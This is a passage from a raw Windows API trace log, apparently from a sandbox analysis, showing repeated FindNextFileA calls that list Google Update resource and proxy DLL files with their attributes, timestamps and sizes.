lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_fi.dll", cAlternateFileName="GOBE63~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_fil.dll", cAlternateFileName="GOD7F9~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_fr.dll", cAlternateFileName="GOB0D5~1.DLL")) returned 1 [0219.698] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_gu.dll", cAlternateFileName="GOA5CA~1.DLL")) returned 1 [0219.698] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_hi.dll", cAlternateFileName="GO950C~1.DLL")) returned 1 [0219.698] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_hr.dll", cAlternateFileName="GOD93D~1.DLL")) returned 1 [0219.698] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_hu.dll", cAlternateFileName="GO65EC~1.DLL")) returned 1 [0219.698] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_id.dll", cAlternateFileName="GO9B55~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_is.dll", cAlternateFileName="GOEB36~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_it.dll", cAlternateFileName="GO79FD~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_iw.dll", cAlternateFileName="GOF8FD~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ja.dll", cAlternateFileName="GO19B9~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_kn.dll", cAlternateFileName="GOD1E2~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ko.dll", cAlternateFileName="GO9703~1.DLL")) returned 1 [0219.699] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_lt.dll", cAlternateFileName="GOB674~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_lv.dll", cAlternateFileName="GO6D3D~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb450, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ml.dll", cAlternateFileName="GOC08E~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_mr.dll", cAlternateFileName="GOFE9B~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ms.dll", cAlternateFileName="GO6698~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_nl.dll", cAlternateFileName="GOD98C~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_no.dll", cAlternateFileName="GO5A8C~1.DLL")) returned 1 [0219.700] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_pl.dll", cAlternateFileName="GO21C1~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_pt-BR.dll", cAlternateFileName="GOBB1C~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_pt-PT.dll", cAlternateFileName="GO3668~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ro.dll", cAlternateFileName="GOF742~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ru.dll", cAlternateFileName="GO67EE~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_sk.dll", cAlternateFileName="GO472D~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_sl.dll", cAlternateFileName="GO2CB4~1.DLL")) returned 1 [0219.701] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_sr.dll", cAlternateFileName="GO9365~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_sv.dll", cAlternateFileName="GO5E84~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_sw.dll", cAlternateFileName="GO07AF~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ta.dll", cAlternateFileName="GOB6CE~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_te.dll", cAlternateFileName="GO8BF2~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_th.dll", cAlternateFileName="GO438A~1.DLL")) returned 1 [0219.702] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_tr.dll", cAlternateFileName="GO0156~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_uk.dll", cAlternateFileName="GOFFE7~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ur.dll", cAlternateFileName="GO0A51~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_vi.dll", cAlternateFileName="GO458B~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_zh-CN.dll", cAlternateFileName="GO3A8A~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_zh-TW.dll", cAlternateFileName="GO5219~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x99850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="npGoogleUpdate3.dll", cAlternateFileName="NPGOOG~1.DLL")) returned 1 [0219.703] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psmachine.dll", cAlternateFileName="PSMACH~1.DLL")) returned 1 [0219.704] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psmachine_64.dll", cAlternateFileName="PSMACH~2.DLL")) returned 1 [0219.704] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psuser.dll", cAlternateFileName="")) returned 1 [0219.704] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, 